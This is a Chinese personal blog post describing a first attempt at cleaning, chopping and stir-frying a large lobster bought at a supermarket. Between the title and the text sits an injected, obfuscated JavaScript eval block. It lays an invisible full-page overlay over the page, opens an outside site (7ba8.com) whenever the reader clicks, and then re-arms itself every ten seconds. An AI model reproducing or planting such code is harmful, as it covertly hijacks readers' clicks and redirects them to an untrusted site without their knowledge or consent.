土人第一次做龙虾

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>土人第一次做，不要嘲笑我水平差啊。

虽然从小住在海边，不过在来美国之前，我可是没有吃过真正的龙虾，只吃过那传说中的小龙虾。

到了美国以后，一般去中餐馆吃龙虾也不贵，再加上LA那么多粤菜馆，龙虾吃法很多也做的挺好吃，很长时间也没有动过自己做龙虾的想法。

过去两年去港口买新鲜的鱼，活虾活螃蟹，经常也看见有龙虾在卖，但是比较贵，想到中国超市里经常有七八九块钱一磅的龙虾卖，就动了心。

不过这心动了一年多也没有行动，直到今天在大华买了一个8.5磅的大龙虾回家。不过龙虾买太大真是失策了，不好处理啊。

先上网学习怎么清理处理龙虾，不过youtube视屏上的龙虾都比较小，只能仅供参考。好在我在超市里买龙虾的时候现场学习了水产部的师傅给前一个顾客处理龙虾的过程，所以给龙虾放尿，去肠的也学习了一下，至于去腮，去脑，去嘴等这个常识还是有的。

壳很厚，幸亏家里最近买了一把很好用的斩骨刀，很快就把所有小爪子多下来每个切成两块，尾巴剁成四五大块，头也剁成六大块，大爪子剁下了前面两节以后，剩下最大的一块可是实在剁不开，再加上爪子里流出来的龙虾体液太多，最后放弃整个煮了，还没吃。

其他的剁好的在开水里烫熟以后，再用葱姜蒜豉油炒了吃了，虽然没有饭店做的好，但是也很好吃，并且吃到饱为止。。。。还剩很多。。。